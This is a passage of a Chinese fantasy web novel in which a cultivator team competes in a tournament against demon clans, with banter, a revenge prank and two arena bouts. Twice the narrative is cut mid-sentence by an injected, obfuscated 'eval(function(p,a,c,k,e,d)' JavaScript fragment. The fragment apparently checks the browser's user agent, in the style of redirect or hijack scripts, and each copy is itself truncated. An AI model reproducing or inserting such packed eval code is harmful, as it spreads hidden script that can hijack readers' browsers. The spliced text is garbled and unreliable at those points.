只不过可惜的是,不知是什么缘故,这些实力顶尖的在第一轮竟都没遇上什么像样的对手,云修泽有心观察,却无奈他们往往都会快速结束战斗,根本看不出什么来,就算有也只有零星一点,比他们本来就了解到的也多不到哪里去。 很快日子便来到了抽取第二轮对手的时候,明青照旧和云修泽前来,却意外在入口处被拦了下来。 守门的童子说,抽取第二轮选手,只能队长孤身进入,问他是什么缘由,他又闭嘴不发一言。 无奈,两人也只得在此处分开,看着云修泽的背影消失在门里,明青就四处看了看,寻了个他出来一眼便能看见的地方等着他出来。 这条街因为紧靠擂台场地而格外热闹,现下日头正盛,各种酒楼迎来送往,明青觉得吵闹,还特地选了个清净些的茶楼,抱着剑靠在外面。 她今日带着帷帽,一袭简单的白色束腰长裙,身形修长,即使看不清模样,路人也因为她独特的气质不断向她投来目光。 明青并未理会,站在这里等的久了,反而被这暖暖的日光晒的有了些朦胧的睡意,但她的手依然紧握着深流,未曾有过放松警惕。 忽然一阵突兀的风吹来,猝不及防将明青的帷帽吹了起来,但那是一阵轻柔的风,并没有将她的帷帽粗鲁的掀翻,只是扬起了为主人遮掩身份的白纱,露出了她如雪女一般清美的容貌。 随着风传来的,是一声似有若无的轻笑。 “谁!” 明青的眼神瞬间变得锐利,她迅速抬头向上望去,额珠也随着她突然的动作翻动了一下。 刚刚那声轻笑声是从上面传来的,茶楼的二楼是开放的,建的十分风雅,侧倚栏杆便可看到外街的景象。 刚才那人应该就坐在她的上方,可明青看去,却没有发现任何人的身影,于是她果断的后退蓄力,当即翻身就上去。 明青落在木质结构的茶楼地板上,只发出了极轻的一点动静。 她抬眼警惕的环顾四周,却发现整个二楼都空无一人,唯有她现在站的桌前,还有两个对放的茶杯,缓缓的飘着升腾的热气。 这里刚才的确是有人在的,只不过他的目的究竟是什么?单纯的为了看一眼自己的容貌吗? 明青倒是没往登徒子那个方面想,主要是没有这个经历,在她的人生中,家族有权有势,无人敢轻浮的对她,即使拜师,师傅的身份也是十分特殊,旁人对她也多是敬、而远之,之前在方若阁遇见的,也还是她第一次被人当面调戏。 所以她的思路根本没往那个方向跑,反而在思考来人的其他目的。 明青双眼一定,突然在桌角看见了一张被折起来的纸,上面放着一枝白界特有的鬼玉兰。 她走上前,在初步确认不是诈后,就将东西拿了起来。 仗着自己百毒不侵,明青十分大胆的就去嗅闻那只陌生的鬼玉兰,上面没有被放毒,只有它本来就有的淡淡的,如同冰雪一般的香气。 她又将那张纸展开,上面只写了一句话。 ‘百闻莫如一见,奉上一枝鬼玉兰,聊表我之心意。’ 这是明青不认识的字迹,她快速在脑海中翻找可能的人选,虽然最后想起了几个怀疑对象,但还是十分的模糊不清。 “这是怎么了?” 云修泽的声音从下方传来,明青低头一看,原来不知何时抽选已经结束,他已经从里面出来,正站在自己刚才站的位置抬头向自己看来。 明青翻过围栏跳了下去,落在他身侧两步远的地方,将刚才发生的事跟他说了一遍。 云修泽听完,挑着眉,表情有些微妙,他接过那张字条看起来,是全然陌生的字迹。 云修泽没什么头绪,不过以明青的姿容,拥有爱慕者是再正常不过的事情,明青从不会搭理那些,这是云修泽明明就知道的事情,可他还是忍不住,心里有些酸溜溜的,为了掩饰自己,他就一边带着明青往回走,一边调侃道。 “哎,我们明姑娘的追求者多的不知凡几,定然是记不清的,恐怕这也是其中一位可怜人吧!” 明青久久没有说话,云修泽走在她身边,等了好一阵子都没等到她的回应,还以为自己说的话惹恼了她,不由自主的想去看她的脸色。 不过几次看她,都被帷帽遮了个干净,他什么也看不到,只能自己在一边忐忑,在他已经准备道歉的时候,明青才慢慢开口,语气平静,悠悠说道。 “你吃醋了。” 这下子可把云修泽噎住了,他梗着脖子又走了好一会儿,才干巴巴的反驳道。 “我没有!” 帷帽下的明青,笑意已经蔓延上了眼角眉梢,却被她遮掩的很好,说话时语气仍然十分平淡。 “好吧,是我想多了,可能正如你说的,是我不小心将他忘了吧,毕竟人真的挺多的。” 她故意逗他,但可惜的是没有看到云修泽拧巴的表情,他只觉得郁闷,恨自己刚才的嘴贱,明青真是被上天派下来克他的,遇上跟她有关的事,他总是会自己给自己挖坑。 他越想越难受,纠结的一路走一路停,明青也不问他为什么,他走就陪着他走,他停就等着他走,两个人全都心照不宣。 最后到了沁园,在进去的时候,云修泽在她后面小声蛐蛐。 “......我还不如承认我吃醋呢,真是醋碗变醋缸,自己酸自己。” “什么?” 明青没听清他的话,转头问他,他却又什么都不肯说。 两个人直接回了云修泽的院子里,本想去叫云修云他们,没成想他们早就已经到了,正坐在院子的石桌边比比划划的说着什么。 见云修泽和明青回来,唐思月就起身给他们两个也倒了杯茶,问道。 “抽到谁了?” 云修泽笑着,无奈的叹了口气。 “从某种意义上来说,我们的运气也是旁人比不上的。” 云修云忙问道:“怎么说?” 云修泽看着他:“先听好消息还是先听坏消息?” 云修云稍微纠结了一会儿,就果断说道。 “先听好的,高兴一会儿是一会儿!” 云修泽毫不意外他的选择,于是说道。 “好消息是,我们抽中的其中两个队伍,一个是由不同种族组成妖族队伍,实力一般,只要我们稳定发挥就能拿下,另一个,则是一个名为‘万春夏’的人族队伍,没什么名气,跟我们一样,是散修。” 唐思月却并没有那么乐观,她手捧着茶杯,说道。 “没什么名气,就代表同样没什么情报,我们无法确定他们的实力。” 明青赞同:“的确如此。” “那坏消息呢?”云修云追问道。 云修泽何尝不知道她们说的有理,可他现在简直想仰天长叹,比起坏消息,这真的算得上是一个好消息了。 “坏消息就是,我们在第二轮,就将四族中剩下的三族全都碰了个遍。” 唐思月愕然:“什么?” 云修泽低头用手揉着眉头,十分伤脑筋的肯定道。 “是的,你们没听错,二对二,我们遇上九乙木、白女狐和......雾面影,没有一个好对付的。” 云修云倒吸一口凉气:“哥,你这是什么手气,这么稀罕的组合都让你抽中了?!” 云修泽能怎么办,云修泽自己也很无奈。 “既来之则安之,这几天,剩下的三大妖族没有一个领头的自己亲自上,也许二对二他们也不会出场。” 明青:“未必,我们之前出了个大风头,恐怕他们或多或少都会对我们产生一些兴趣,妖族行事向来不讲什么谋略,都是怎么高兴怎么来,依我看,他们亲自上场试探我们的可能性倒是很大。” 云修泽头疼不已:“说的也是,兵来将挡,水来土掩吧,五场赢上三场就可以,我相信这点我们还是可以做到的。” 唐思月已经冷静下来了,她问道。 “那我们具体怎么安排?白女狐那场我上,谁跟我上?阿云还是行愿?” 云修泽盯着杯中已经冷掉的茶水,轻轻转动着茶杯。 “让青玉上,他多少有点儿和白女狐对战的经验,不至于太过鲁莽,受些冤枉伤还护不好你。” 云修云抗议:“我对战陌生的队伍也不会的好吗!!!” 云修泽难得对他严肃起来,他沉着一张脸说道。 “不要意气用事!你自己什么样子你不清楚吗?平日跟人对战,我们任何一个人跟你搭档都可以为你找补,可这次跟你上场的是思月,你难道要拿她的安危为你自己的冲动买单吗?” 云修云一下子哑火了,他很想说自己不会让唐思月受伤,但事实上,面对未知的对手,以他自身的实力和对打的一些不良习惯,的确很难保证能将她护的滴水不漏,更何况他还没有行愿那么多年护在她身边的经验,云修泽说的对,是他逞强了。 “对不起......”云修云呐呐说道。 云修泽表情缓和了些,唐思月则用手轻轻拍着云修云的脊背安慰他。 云修泽将这事儿掀了过去,继续说道。 “那个陌生的妖族队伍叫‘猫豹’,能力应该和名字有些关系,恐怕跟速度沾点儿边,他们和那个‘万春夏’就交给思月和行大哥了,可以吗?” 唐思月:“没问题。” 行愿也默默点头。 “至于九乙木和雾面影。”云修泽看向明青,“明青,我们上。” “可以。”明青言简意赅,“顺序怎么安排?” 说起这个,云修泽皱了皱眉,有些为难的看向唐思月。 “很是不巧,思月这三场是连在一起的,我当时也问了能不能调换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“想必你们已经知道我们抽中了一场,刚刚我的领队来向我请示,想要亲自跟你们过招,怎么样?可要我大发慈悲,给你们放放水?” 真是一语成谶,云修泽无奈。 云修云斩钉截铁的说:“不用!要打我们就光明正大的打!” 灵儿哦了一声:“看来是你上场啊,谁跟你上?你哥吗?” 云修云没想到自己只是说了一句话就立马被她猜中了,他看向云修泽,见他投来无奈的眼神,就一把捂住了自己的嘴,摇摇头不肯再说。 这个方法虽然笨,但是好歹管用,灵儿嘁了一声,也没有纠缠。 “那我可就让他上了,他练的可是很不错,你们要小心了。” 云修泽:“你来就为了这个?” “当然不。”灵儿无聊的拿指尖沾着茶水在桌上乱画。 “爻池仙没有离开白界,你们知道这意味着什么吗?” 几人的神情都严肃了起来,见他们这样,灵儿反而又安慰道。 “别担心,大比期间,有四族的族长和昆天谷并一些其他大宗的长老坐镇,他们是不会对你们出手的,但是你们是散修,身边也没有跟着足以震慑他们的高手,一旦你们离开白界,可就要小心了。” “我们明白。”云修泽沉下声音,“不过既然我们已经奔着魁首去了,那就势必少不了追杀围堵的,既如此,我们就要闹得大一些,再大一些。” 他的目光泛着冷冽的寒意。 “让他们明白,我们,就是他们招惹不起的高手!” 他的话让几人的目光都投向了他,灵儿坐在这里,却能明显的感觉到其他几人的目光和自己截然不同。 他们的眼睛里都透露着坚定和信任,似乎并不认为他说的都是些浮语虚词,反而大有要将其贯彻到底的意思,这让灵儿第一次清楚的意识到,他们是一个真正的整体。 ‘啪!啪!啪!’ 灵儿有些意外的拍了拍手。 “少侠好志气。”她虽然敬佩,但是语气还是有些幸灾乐祸,“不过你最好真的有你说的那么大能耐。” 她站起身,弯腰在明青耳边说了些什么,又站直了身体。 “你们多保重吧,若是需要的话,可以叫我,我会去救你的,但他们几个,我可就不保证了。” 说完,她就甩甩手扬长而去。 云修泽:“她刚刚跟你说的什么?” 明青:“说了她的传音令。” “人妖之间少有如此,此妖可交。” 说话的居然是行愿,云修云在一旁翻了个白眼儿。 “不过也只是针对于明青姐来说了。” 此时灵儿已经离开,云修泽闭上双眼,长长的叹了一口气。 41. 协济十七 今日入场,云修泽明显感觉到了不同,这里专属的看台共有八个,其中四个属于妖族的四大家族,另外四个则属于人族。 但和妖族不同的是,人族宗门平日里虽然会闹着要争个高低,一旦进到白界,对面站了妖族的时候,反而会团结起来,拧成一股绳,统一以昆天谷为首,所以看台上的其他三个人族宗门都十分低调,但他们的实力同样可以以一当十,全都常驻于大比前八。 如今四族之一的爻池仙在第一轮就出其不意的被他们打败了,那么大比的前八位必然会空出至少一个位置。 无论那个位置是不是由他们的第七洲所得,前八位会发生变动,也已经是板上钉钉,只是不知最后得主是谁。 云修泽几人是以散修身份参加的,之前都是坐在普通的看台上,扎在人堆儿里,力求不引起不必要的注意。 可他们第一轮就出了个大风头,也是没什么继续隐蔽下去的必要。 云修泽直接带着其他几人来到了看台最前面,等他们坐下来,周围的人就自动将这一片地方清空了,十步以内,无论是上方还是左右两方,就只剩了他们五个。 他们虽然没有专属的看台,可现在这个样子,也着实没什么两样,毕竟都十分的显眼。 周围人对他们的态度很是奇怪,一部分因为他们击败了爻池仙而热烈的追捧他们,认为他们能够成为最厉害的那匹黑马,还有一部分则认为他们不过是侥幸,纵使有几分实力,也绝不会笑到最后。 所以无数打量的目光放在他们身上,可以称得上是肆无忌惮。 从第二场开始,就没有挑战一说了,除了他们的对手,很少有人知道他们需要面对的队伍是哪支,赌局也是在他们开场后才会跟着开盘。 之前他们对战爻池仙,几乎没有人压他们胜利,赌局呈现一边倒的局势,可谁曾想竟爆了个天大的冷门,输的那些人欲哭无泪,今日下注,天平必然要发生变化。 之前报名时,那个小沙弥曾经要了云修泽的指尖血,除了有用来确认他们身份的作用,还用了一种秘法,投入到了这些擂台当中。 当他们需要上场的时候,云修泽就能感觉到一种特殊的气息,牵引着他,明确具体的擂台。 很快云修泽就感受到了异动,他环扫擂台,确定了具体位置后,就低声说予了唐思月和行愿。 “见机行事,安全为上。” 唐思月颔首:“放心。” 行愿也在她身后默默跟着她点头。 两人飞身来到擂台之上,在他们落地的同一时刻,他们的对手也跟着一同就位。 行愿已经抽刀出鞘,上前两步挡在了唐思月身前,唐思月的琴也被取了出来,两人正色说道。 “第七洲,行愿。” “第七洲,唐思月。” 站在他们对面的两只妖一站一蹲,露在外面的耳朵和尾巴都是深紫色的,仔细看去,还能在他们的身上看见隐约的雷电环绕,身形看上去十分的消瘦纤长,身上的衣服倒像是从不同的布上东一块儿西一块儿扯下来拼凑的,显得他们的气质很是狂野放荡。 听过他们的名字,两妖都危险的眯起了眼睛,笑容有些嘲弄,显然是认为他们之前的胜利不过是运气,两妖走个过场般的说道。 “猫豹,宝山。” “猫豹,合君。” 一般的妖族会直接拿自己的种族名字来当做队伍名称,但他们好像不是这样,似乎并不想提前透露自己的身份,可唐思月从小博览群书,只是看他们的样子,再结合他们的队伍名字,就大概猜到了他们的种族。 这应该是一种名为‘雷山’的妖族,本体和猫一般大小,样子却神似花豹,他们的身手十分敏捷,之所以被叫做‘雷山’,是因为他们的种族天赋和雷电有关。 五步之内,他们可以凭空制造雷电,而五步的距离已经相当之近,若是反应不够敏捷,在如此近的距离遭到雷电的正面打击,下场只会是非死即伤。 妖族修行不易,常常要以百年而论,他们的种族天赋虽然厉害,却也同样有着限制,想要修成大妖,可以说是千难万苦,可一旦修成,就如同他们的名字一般,召唤雷电的范围之广,威势之大,只有两个词可以形容,那便是雷霆万钧,撼地摇天!!! 只不过可惜的是,近千年的记载中,他们族内都未曾有妖修练到如此境地,如若不然,恐怕妖族就不止会有如今的四大妖族了,这就是没落的......第五大族。 场上的两人两妖将气氛渲染的十分紧张,一触即发,引的台下众人也有不少侧目于此。 打起来后,两妖就发觉行愿总是围着唐思月来回游走,丝毫不离她的左右,那么唐思月必然就是个突破口。 宝山和合君对视一眼,默契的准备将两人强行分开再逐个击破,可谁知对面的唐思月和行愿默契犹在他们之上,让他们根本没有机会下手。 与雷山这个种族近身搏斗绝对不是一个明智的选择,每当他们两个试图近身,唐思月就会将他们弹开,行愿虽然不言不语,但实力单拎出来也是居于众人之上,唐思月只是辅助作用,而他一人就牵制了对面的两只妖,甚至让他们无法再分出多余的心神去给唐思月。 他们的雷电并不能一直保持释放,时机很是重要,行愿一开始也没有莽上去,而是大致的试探了一下才放开手脚与他们搏斗。 两妖不断的利用着自己的速度与他周旋,若是之前,行愿可能还会有些吃力,但现在已经不同,云修泽和明青不论是速度还是轻功,都可以说是傲视群雄,平日里他们也少不了切磋,在经过这两人不断的磨练之后,此时再面对他们,行愿就显得较为游刃有余。 他们这一场并没有持续很长的时间,甚至可以算得上短,只一个时辰不到就结束了这场战局。 最后以第七洲的胜利为句号,他们成功拿下了第二轮、五场中第一场的胜利,只不过也付出了一些小小的代价。 唐思月面纱下的嘴角紧紧绷着,在前面走的很快,眉眼间很明摆的写着我不高兴。 行愿亦步亦趋的跟着她,眼神闪烁,手也抬抬放放,很是无措的样子。 云修泽、明青和云修云都围了过来,云修云小声问道。 “这是怎么了?怎么不高兴?” 唐思月有些郁闷的从身后拨了一绺头发给他们看,发尾有一块儿地方已经彻底焦了,很明显就是雷电留下的痕迹。 唐思月皱着眉,应该是撇了撇嘴,语气不悦的向云修泽告状。 “你们看!我的头发都被他们搞得一团糟!” 这是刚刚在场上两只妖最后爆发出的雷电,行愿稍慢了一步,没能将她完整的带离,让她的一节发尾和裙摆都受到了波及,万幸是人没有受伤。 明青上手摸了摸,上面还有些余热,有些发丝粘连在一起,而发梢则十分干枯脆弱,甚至她这么轻轻一摸都细细簌簌的掉了不少。 哪有女子不爱护自己的长发,她这么不高兴也是情有可原。 行愿走近了一些,低下头闷声道。 “是我的错。” 闻言,唐思月立马抬头气鼓鼓的瞪了他一眼,转过头去却又说道。 “不是你的错,是我让你先解决那个宝山的,你已经用最快的速度赶回来保护我了,我知道的。” 唐思月并没有怪行愿,只是好好养护的头发被糟蹋成这样,难免有些小脾气。 云修云也有些心疼的看着她的长发,他一直记得第一次见到唐思月时,月光下她泼墨的长发轻扬的模样,那幅画面一直刻在他的心底,承载着他的每一次心跳。 云修泽也仔细看了看,安慰的笑道。 “没事,范围不算很大,一会儿回去让明青给你找个巧手,修剪一下,看看能不能将短一些的藏在其他的长发之下。” 唐思月还是有些闷闷不乐,但也很给面子的点了点头。 回去之后,明青果然马上给她找了一个技巧十分高超的老师傅,一番修剪之后,虽然仔细看还能看出来一些,但大体上已经和之前没什么两样。 她站在一面铜镜前,明青在她身后也拿着一面铜镜,唐思月忧虑的来回探看,发现尚还算看的过眼后,心情才平复了一些。 这次跟猫豹的对决,五人甚至没有多做复盘,只因那两妖实在算不上难对付,行为进攻都有迹可循,开场之前他们显得有些狂妄自大,不过是过于高看自己而小看了他们。 离第二场还有一天的时间,唐思月打算用这一天的时间制药,她身上用来制毒的毒草还有不少都是之前云修泽从昆天谷薅来的,可制药的灵草就需要添补一些了。 他们的院子里都有一些明水心专门拨给他们的女使小厮,供他们驱使,也为他们打探外面关于大比的消息。 唐思月洗漱过后便吩咐人出去为她采买一些草药,自己则收拾出一间房,开始清点器皿和药材。 白界内做灵草灵药生意的比比皆是,派出去的人没用多长时间就将她交代的东西买全了,两个女使一路来到她的房内,将东西交给了她。 唐思月接过来清点了一遍后,发现没有遗漏,就随口问道。 “可有什么消息吗?” 大比期间,参赛的众人看似散漫,实则都彼此防备,很少有在此时出事的,所以这也不过是例行一问,几乎不会真的有什么大事,却不想今日却和往常不同。 两个女使低着头对视一眼,似乎犹豫要不要说,见此,唐思月有些意外的挑了挑眉。 “真的有事?说说吧。” 得了她的令,其中一个女使才有些迟疑的说出来。 “昨日,与小姐同擂比试的猫豹五人,不知是什么缘故,竟被人偷袭,却没受什么伤,只不过......” 女使的表情有些奇怪:“只不过......都被剃成了光头,还不知被什么人传了出来,现在闹的白界之内众人皆知,成了笑话了。” 没想到竟然会是这种事,唐思月诧异,呆楞了一会儿,才神情迟缓的让两人下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在她的印象中,行愿稳重理智,从来不会干这种非必要的事情,这几乎可以说得上胡闹的行为,他竟然也跟着参与到了其中。 行愿的目光在她短了一截的发梢上转了一圈儿,嗓音低沉,只是陈述一个事实。 “你不高兴了,是我的错。” 唐思月没想到他还在固执的这么觉得,只能安慰道:“我说了,不是你的......” 还没等她说完,行愿就突然加重了些声音,第一次打断了她的话,只重复道。 “是我的错。” 唐思月哑然,正在她不知该说些什么的时候,门口就传来了云修泽带着笑意的声音。 “思月,难得糊涂啊,行大哥一向以护你为己任,你在他的手下受了损伤,就算你不在意,他自己心里也是有坎儿的。” 三人回头看去,就见云修泽倚着门框,明青站在他的身边。 见他们看过来,云修泽就站直了身体,两人一起走了过来。 “如今他肯陪青玉干这些事,就正是因为心中过不去,此时‘大仇得报’,你只坦然受着便是,同伴之间,你们之间,用不着再多说些什么了,不然,岂不就显得生分?” 唐思月抬头看了看行愿的眼睛,他的目光沉沉,眼神专注,未曾有过改变。 她又转头看向云修云,少年的炽热从未遮掩,用自己的方式去抚平她的波澜。 唐思月沉默良久,突然一头扎进了明青怀中,明青将她稳稳接住,手环在她的背上轻轻安抚着她。 她的声音闷闷的:“你们两个也有参与?” 云修泽耸了耸肩,语气轻松。 “给他们出了出主意罢了。” 唐思月从明青的怀中抬起头来,笑容显得搞怪而亲近,她指控道。 “我就知道,阿云单纯,行愿正直,哪里想的出来这种损招,只有老大你,平日里看着温润如玉,翩翩有礼的,实际心里蔫儿坏得很,将消息传出去也一定是你的主意!” 听到她的控诉,云修泽丝毫不为所动,直接就笑着将事情认了下来,只见他将手背伸了出来,神色忽然变得有些认真。 “我们在一起。” 唐思月不明白他突然在说些什么,揽着她的明青就已经将手搭了上去。 “如同滴水入海,免于干涸。” 行愿也默默搭了上去。 “积羽沉舟,群轻折轴。” 云修云有些兴奋,也立马跟了上来,眼睛亮亮的说。 “天下众人微茫,我们在一起!” 唐思月从明青怀里出来,抹去了眼角那一滴似有若无的泪珠,站直了身体,笑着将手放了上来。 “即使扁舟一叶!” 云修泽的目光在众人脸上依次扫过,他缓缓勾起了嘴角。 “我们,同舟共济!” 42. 协济十八 今日是近几日中日头最烈的一天。 云修云在院子里练剑,想着明天就要上场,反而不敢练的太过,只松了筋骨,熟悉了一下往常的招式后,就到一棵树下躺着躲懒去了。 带着暖意的阳光透过他的手指缝隙落在他还有些少年气的脸庞上。 云修云微眯着眼,一想到明日的对决,就总是心神不定。 可他并不怕这个,他很清楚的明白自己,他心神不定的原因,只是出于云修泽的那番话,出于对自己是否能保护好唐思月的不安。 云修云躺在那里,司越在他的手边安静的待着,本来是想放松一下心神,可真的闲下来了,反而诸事烦扰,搅得他脑袋疼。 云修云越想越烦,正巧一片枯黄的叶落在他的脸上,他半支起身子,将叶子从自己脸上拿开,注意到头顶的树已经是秋色无边。 他轻轻转了转手中捏着的叶子的梗,见它长得漂亮,就莫名其妙的笑了一下,心情突然就轻松了一些。 他又重新躺下来,将叶子盖回自己脸上,竟也能盖住大半张脸,遮住了刺眼的光。 树叶的味道很干净,还带了一些太阳的干燥暖意,慢慢的,云修云就有了些睡意,在意识彻底模糊之前,他的心中还沉沉的浮着一个念头。 是否能有那么一日,我能像大哥、像天下豪杰般,拥有他人不可动摇之心呢...... “......云...” 什么声音? “...阿...云......” 谁在叫我吗? “阿云!” “什么!” 云修云骤然坐起身,带起的风将周围的落叶吹散了一些,他睁大了双眼,突然的惊醒还没能让他回过神儿来。 胸膛快速起伏了几下才缓缓归于平静,他向旁边看去,来人果然是唐思月,除了她,云修云也想不起第二个会叫他阿云的人。 她今日穿的简单,藕粉色的短袄和米色的曳地裙,看料子应该是软烟罗制成的,将她整个人衬得犹如清水芙蓉,有种无需刻意雕琢的天然的美。 本来云修云是不懂这些的,但之前有一次他们去买成衣时,唐思月提了一嘴,这才让他记在了心上。 唐思月坐在他的旁边,手中正拿着之前他用来盖脸的那片枯叶,笑眯眯的看着他。 “思月?” 唐思月学着他的样子,用那片叶子在自己面前比划,能遮住云修云大半张脸的叶子,可以轻松将她的脸庞完全覆盖,只见她从树叶后探出半张脸来,露出的眼睛笑意满满。 “哦,果然是阿云啊,我还当是哪个想不开的,要扎在这叶子堆里,试图将自己闷死呢!” 云修云哭笑不得:“哪有的事......” 说着,他抬起手,就感觉有异物在手上滑落,同时就有沙沙的响动,云修云低头一看,这才发现,不知何时他的周围竟然落满了树叶,堆叠在他的身边,身上也有不少,真的有种是他躺到了树叶堆里的感觉。 云修云咂舌,他这是睡了多久?或者哪里来了阵妖风,竟将头顶的老树给刮秃了不成? 他迟疑的抬头看去,却见那树依然茂盛的很,和他睡前并无什么两样,可若真有那么多叶子掉下来,它就不可能还是这个样子,那么事情的真相就已经很明显了。 “唐、思、月——”云修云幽幽喊道。 唐思月见势不妙,起身拔腿就跑,她一边跑一边笑,清脆而欢快的笑声传入耳中。 云修云故意狞笑起来,像个哄骗小姑娘的怪汉一样,伸着两个‘魔爪’就去追她。 明明轻松就能追上,可偏偏唐思月是个头脑灵光的,知道自己跑不过他,就利用周围一切能利用的东西来阻拦他的脚步。 一会儿是倒下的木架,一会儿是扬起的树叶,或者围着那颗两人合抱的大树来回转圈试探。 见他捉不着她,唐思月就得意的吐了吐舌头,整个人都十分的活泼灵动。 “有人恼羞成怒啦!” 两人追到院中的水池附近,唐思月灵机一动,扬起不少水花,向云修云的方向泼去,只要他不想被淋成落汤鸡,就只能在这个地方停上一停。 唐思月算盘打的很好,可没想到云修云根本不走寻常道。 只见他加快速度,迅速穿过淅淅落下的水珠,在唐思月惊慌的表情下,一个矮身就将她抄了起来。 “哈哈哈哈哈哈哈哈哈哈哈!!!!抓到你了!!!!” 云修云抱着她不断的在落下的水中旋转,她的裙角飞扬,而他畅快的大笑起来。 唐思月在慌乱之下,本来只是僵硬的环着他的肩颈,在他抱稳后,就很快放松了下来,松松的搭着,被他感染,也忍不住跟着一起笑了起来。 两人的笑声叠在一起,就像是为这里涂上了鲜艳的色彩,一切都变得鲜活起来。 刚刚被掀起的水全都落在了两人身上,不过云修云有意护着她,只让她的发丝和裙角沾湿了些,剩下的则全都落在了自己身上。 他痛快的在阳光下像个狗崽一样甩了甩头发,甩出去的水珠折射的光,将他的笑容映衬的格外明朗。 “枉我们还操心你担心明天的比试,专程过来看看,走在半路上就听见了你们的笑声,过来一看,就见你竟玩的这样开心!” 云修云停下动作,顺着声音抬头一看,就见云修泽和明青双双立在院墙之上。 云修云无语:“您二位不要仗着自己轻功好,就随便扒人家墙头好不好?” “是是是。”云修泽一边点着头,一边和明青一前一后的跳了下来,他们向这边走来,云修泽表情十分玩味。 “这习惯当然不好,你看,这不就打扰了我们青玉了嘛!” 云修云翻了个白眼。 明青的眼中隐约带着点笑意,上下看了看,说道。 “将思月放下来吧,身上都湿了,赶紧擦擦。” 云修云这才后知后觉的意识到自己还抱着思月,刚才头脑一热做出的行为,冷静下来后,简直没眼再看。 云修云本来还十分放松的身体,一下子就僵了起来,只见他飞快的将唐思月放了下来,低着头后退几步,让人只能看见他拉直的嘴角。 云修泽简直要怀疑他这个弟弟脸热的能把还在滴水的头发烤干。 行愿不知什么时候出现,给唐思月披了件斗篷,又给云修云递了条帕子,让他自己擦拭。 这时云修云也缓过来了,他一边擦着头发上的水,一边向院子里走去,转移话题道。 “你们怎么来了?” 众人移步到石桌前围坐下来,云修云唤来一个小厮奉上了热茶。 云修泽也不再说些玩笑话,正色起来。 “明日你们对战的白女狐领队名叫令苏,是只男狐狸,至今还没出过手,估计是被有意隐藏的,大比之前的消息也打探不到一点,绝对不是个好惹的,至于跟他上场的,我不知道是那四个中的哪一个,但他们都已经下过场,我看过了,无论是哪一个,只要你能冷静的对打就不成问题,但你也万万不可轻敌,毕竟搭档是令苏,难保会再出什么花样,你可明白吗?” “嗯,我明白。”云修云捏着茶杯,神情严肃的点了点头。 云修泽和明青对视一眼,表情柔和了一些。 “也没事,放松就好,我忧你心思过重,与你明青姐商量过后,本想来宽慰宽慰你,却不想思月先行一步了。” 唐思月正喝着茶,闻言就故作姿态的否定。 “诶,我可没有,你们不知道,我路过见他在树下睡得正香,哪里有忧虑的,唉,可不是你们想多了嘛。” 云修云也不反驳,笑了起来。 第二日,阴云布满了上空,仿若随时就会飘雨。 云修云和唐思月一并站上了擂台。 云修云握紧了司越,沉声开始报名。 “第七洲,云修云。” 唐思月紧随其后。 “第七洲,唐思月。” 他们的对面站了一男一女,皆是满头雪发,容貌绝佳。 前面的男子身量高挑,姿容更胜好女三分,却并不显得女气,反而有种说不清道不明的惑人,他抱臂而站,神情似笑非笑,声音拉长了些,说道。 “白女狐——令、苏。” 在他身后的女子,体态丰腴,宛若媚骨天成,她的眼神勾人,在云修云身上来回打量了一下,媚声道。 “小女白女狐,玉珠。” 他们已经全都报过了名字,台下人对他们的输赢众说纷纭。 “哎,这个玉珠姑娘专攻媚术,可是将其练的炉火纯青,这个领队虽然没什么名气,但能做领队实力也一定不差,对面这个唐姑娘虽然已经上了几次场,但都是辅攻,看起来实力并不多强,更别提今日新上场的这个毛头小子了,他还是本场的主攻,依我看来,这一场他们估计要栽!” 擂台之上,报名先后也是有说法的,通常来说,二对二的擂台上,先报名字的就是本场的主攻手,这也是为什么唐思月总在后面说名字。 “欸!我看不尽然!你可忘了这是第七洲了?哪次我们能看好他们?可人家偏偏老是能冲出来,我看呀!这把我还是得投他们!” “嘿嘿嘿,玉珠姑娘真好看嘿嘿嘿。” “你个没脸没皮的,光盯着那一个去了!我看啊,个个都是美人儿哈哈哈哈哈哈!!!” 听着众人的话越来越歪,云修泽抽了抽嘴角,有心想说些什么,可往左看是言简意赅的明青,往右看是寡言少语的行愿,想说的话在喉咙里滚了个来回,又被咽了下去,只剩一种说不出愁苦蔓延在心间。 台上的云修云很是警惕,冷静的观察着敌人的每一个动向。 他们的速度很快,玉珠扭身上前,云修云对上她金色的眼睛,竟然恍惚间将她看成了唐思月的模样。 同时,两双利爪已经逼上了他的要害,唐思月欲拨弦相救,就见他自己清醒过来,眼神凌厉,划剑转身就将两妖逼退。 两只狐妖回身站定,玉珠吐气如兰,调笑道。 “好一个细皮嫩肉的小公子,别挣扎了好不好?我刚刚已经在你身上下了些小东西,单用灵气逼是逼不出来的,此时你的身体应该已经开始发热了,不如这样,姐姐我看你也是生的少有的俊俏,何不跟了我?保准让你快活无边哈哈哈!” 云修云的脸色的确已经开始泛红,他却不慌不忙,头也不回的反手接住了唐思月扔来的丹药送入口中,不过片刻,那股燥热就已经完全消退了下去。 见此,玉珠的脸色难看了几分,她的眼神飘向旁边的令苏,令苏仍然不紧不慢,嘴角挂着一抹无味的笑容。 “不必在意,你起点辅助作用就行,我对付他们两个,足够了。” 玉珠有些不服气,嘴角也拉了下来,但还是没说什么。 两妖再度冲上去,妖族和人族最不同的一点,就是很少会拿外物当做武器,因此他们的体术大多都是十分强悍。 云修云和行愿不同,并不习惯于定点缠斗,所以唐思月也并未抱琴而坐,专心为他辅攻,而是单手持琴站立,随着云修云的节奏或进或退,攻击也是见缝插针,始终让自己处在云修云可以护到的位置上。 剑尖与狐爪相碰,发出类似于兵器相接的铿锵声,在灵力与妖力的短暂交锋之后又迅速弹开。 令苏和玉珠交替进攻,却始终只用利爪,偶尔才会动用幻术,却也总会被唐思月打破。 